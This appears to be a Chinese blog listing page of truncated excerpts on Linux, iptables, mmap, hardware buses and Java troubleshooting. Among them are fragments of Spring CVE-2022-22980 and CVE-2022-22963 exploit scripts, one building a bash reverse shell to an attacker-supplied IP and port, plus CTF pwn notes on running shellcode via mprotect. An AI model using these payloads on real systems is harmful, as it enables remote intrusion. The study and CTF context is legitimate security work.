- 2025-01-10Linux iptables与Docker
关于Iptables和NetfilterIptables是什么Iptables是主机防火墙,常见于CentOS,Redhat,Kylin及Openeuler等Linux操作系统上,其作用与硬件防火墙类似,可对网络层或传输层的流量进行包的过滤及转发;Iptables工作于网络七层模型中的网络层与传输层(如图):网络层:基于IP地址的过滤与转发传输
- 2024-12-25Linux防火墙(iptables)设置_prot opt source
直接改iptables配置就可以了:vim/etc/sysconfig/iptables1、关闭所有的INPUTFORWARDOUTPUT只对某些端口开放。下面是命令实现:iptables-PINPUTDROPiptables-PFORWARDDROPiptables-POUTPUTDROP再用命令iptables-L-n查看是否设置好,好看到全部DROP了
- 2024-12-09xv6 lab10: mmap
实现两个功能:分别是mmap与munmap,将文件映射到内存当中,并为一个线程记录他管理的文件所在的页表目录。函数原型如下:char*mmap(char*addr,intlen,intprot,intflags,intfd,intoff);intmunmap(char*addr,intlen);其中mmap参数含义分别是映射地址(为0时由内核代
- 2024-12-10新浪导航栏
运用VisualStudioCode软件编写新浪导航栏,如下图图1新浪导航、手机星浪网、移动客户端、微博都是超链接,当鼠标经过其中一个标签,该标签背景和文字颜色要改变,如图2图2代码如下:<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewpo
- 2024-09-01Java服务.问题排查.问题复现
最近有用户反馈测试环境Java服务总在凌晨00:00左右挂掉,用户反馈Java服务没有定时任务,也没有流量突增的情况,Jvm配置也合理,莫名其妙就挂了问题排查问题复现为了复现该问题,写了个springboot的demo部署在测试环境,其中demo里只做了helloworld功能,应用类型为web_tomcat(war包部署),基
- 2024-08-29linux下UsbMon-WireShark之USB协议抓取分析
usbmon配置使用usbmon抓包分的,是需要内核开启CONFIG_USB_MON=m,重新编译内核,编译ko:makeARCH=arm64CROSS_COMPILE=aarch64-himix100-linux-CONFIG_USB_MON=mM=./drivers/usb/modules设备挂载debugfs,加载ko:mount-tdebugfsdebugfs/sys/kernel/debug/insmod
- 2024-07-0906 运行Lib-OS
QEMU运行第一章代码切换分支gitcheckoutch1detailgitcheckoutch1命令是用来切换到名为ch1的分支或者恢复工作目录中的文件到ch1提交的状态运行代码cdosLOG=TRACEmakerundetailLOG=TRACE 是指定LOG的级别为 TRACE,可以查看重要程度不低于TRACE的输出日
- 2024-07-05内存映射
mmap内存映射函数(显示图片的新方法)----也是Linux系统IO中的函数之一基本概念系统IO函数的共同点:就是他们的形参中一定有一个是文件描述符(除open)。内存映射的意思:拆内存:普通运存,显存(集显和独显),是一块内存空间,存放显示画面的像素点。映射:两个集合中的元素,都具有
- 2024-07-03【总线】AXI4第七课时:AXI的额外的控制信息(PROT和CACHE)
大家好,欢迎来到今天的总线学习时间!如果你对电子设计、特别是FPGA和SoC设计感兴趣,那你绝对不能错过我们今天的主角——AXI4总线。作为ARM公司AMBA总线家族中的佼佼者,AXI4以其高性能和高度可扩展性,成为了现代电子系统中不可或缺的通信桥梁。 上
- 2024-04-13做re不小心噶了然后转生成为pwn高手
ret2text一个简单的栈溢出栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者
- 2024-04-02CTFshow pwn49 wp
PWN49用ida打开我们发现是静态编译的,所以先要通过libc库来打是不可能的了,程序里面有一个栈溢出点,找一下有没有system函数,发现并没有那么我们找一下有没有mprotect函数如果有这个那么我们可以把一段地址改成可读可写可执行权限,然后写入我们的shellcode就可以执行了,发现确实有这
- 2023-10-25Java服务总在半夜挂,背后的真相竟然是...
写在前面最近有用户反馈测试环境Java服务总在凌晨00:00左右挂掉,用户反馈Java服务没有定时任务,也没有流量突增的情况,Jvm配置也合理,莫名其妙就挂了问题排查问题复现为了复现该问题,写了个springboot的demo部署在测试环境,其中demo里只做了helloworld功能,应用类型为web_tomcat(war
- 2023-10-17记一次MySQL5初始化被kill的问题排查
写在前面由于测试环境JED申请比较繁琐,所以Eone提供了单机版Mysql供用户使用,近期Eone搭建Mysql5的时候发现莫名被kill了,容器规格是4C8G,磁盘30G这不科学,之前都是可以的,镜像没变,配置没变,咋就不行了呢,一定不是我的问题,是机器的问题问题排查重现通过多次搭建mysql5进行采样,发现并
- 2023-09-14iptables 端口转发设置
一、iptables命令查看当前iptables的nat表内的规则-tnat指定看nat表,不用-t默认为filter表-L列出表内所有规则,可以指定特定链-n使输出中的IP地址和端口以数值的形式显示-v输出详细化--line显示出每条规则在相应链中的序号[root@localiphlcc_v11.1104_centos7]#iptab
- 2023-07-15linux 中blast序列比对
001、对数据库构建索引makeblastdb-inprotein.faa-dbtypeprot-parse_seqids-outdatabase_name-logfilelog makeblastdb:构建索引的软件-in protein.faa:要构建索引的数据库(这里是拟南芥的蛋白质序列)-dbtype:指定数据类型,prot为蛋白质、nucl为核酸;这里是蛋
- 2023-06-01Linux创建socket
staticconststructnet_proto_familyinet_family_ops={.family=PF_INET,.create=inet_create,.owner=THIS_MODULE,};/**Createaninetsocket.*/staticintinet_create(structnet*net,structsocket*sock,intprotocol,intkern)
- 2023-06-01raw_prot
{.type=SOCK_RAW,.protocol=IPPROTO_IP,/*wildcard*/.prot=&raw_prot,.ops=&inet_sockraw_ops,.flags=INET_PROTOSW_REUSE,}structprotoraw_prot={.name
- 2023-05-23CVE-2022-22980
#CVE-2022-22980SpringDataMongoDBSpEL表达式注入importrequestsimporturllibimportbase64importargparsedefpoc(url,ip,prot):urll=f'{url}/?name='shell=f'/bin/bash-i>&/dev/tcp/{ip}/{prot}0>&1'shell=s
- 2023-05-23CVE-2022-22963
#SpringCloudFunctionSpEL代码注入(CVE-2022-22963)importrequestsimportargparseimportbase64headers={"Accept-Encoding":"gzip,deflate","Accept":"*/*","User-Agent":"Mozilla
- 2023-05-17Linux多进程11-内存映射
内存映射(Memory-mappedI/O)是将磁盘文件的数据映射到内存,用户通过修改内存就能修改磁盘文件。mmap#include<sys/mman.h>void*mmap(void*addr,size_tlength,intprot,intflags,intfd,off_toffset);功能:将一个文件或者设备的数据映射到内存中参数:
- 2023-03-2614 mmap
代码编程指南确定物理地址确定是否使用cache、buffer建立映射关系1引入应用程序与驱动程序之间进行数据传递时常使用read,write此实现方法本质上是在用户态的buff
- 2023-03-01内存映射
介绍#include<sys/mman.h>void*mmap(void*addr,size_tlength,intprot,intflags,intfd,off_toffset);功能:将文件映射到内存中参数:addr:允许
- 2023-02-08虚拟内存跟物理内存之间的映射mmap\munmap
#include<stdio.h>#include<sys/mman.h>intmain(void){/**创建虚拟内存的映射*void*mmap(void*__addr,size_t__len,int__prot,int__fla
- 2023-01-31Unicorn备忘录
摘自https://bbs.kanxue.com/thread-224330.htm#msg_header_h3_7_,个人存档用fromunicornimport*-加载Unicorn库。包含一些函数和基本的常量。fromunicorn.x86_cons
- 2022-12-07私有继承和保护继承的访问规则是什么?c++
以这些类为例:classB{/*...*/};classD_priv:privateB{/*...*/};classD_prot:protectedB{/*...*/};classD_publ:public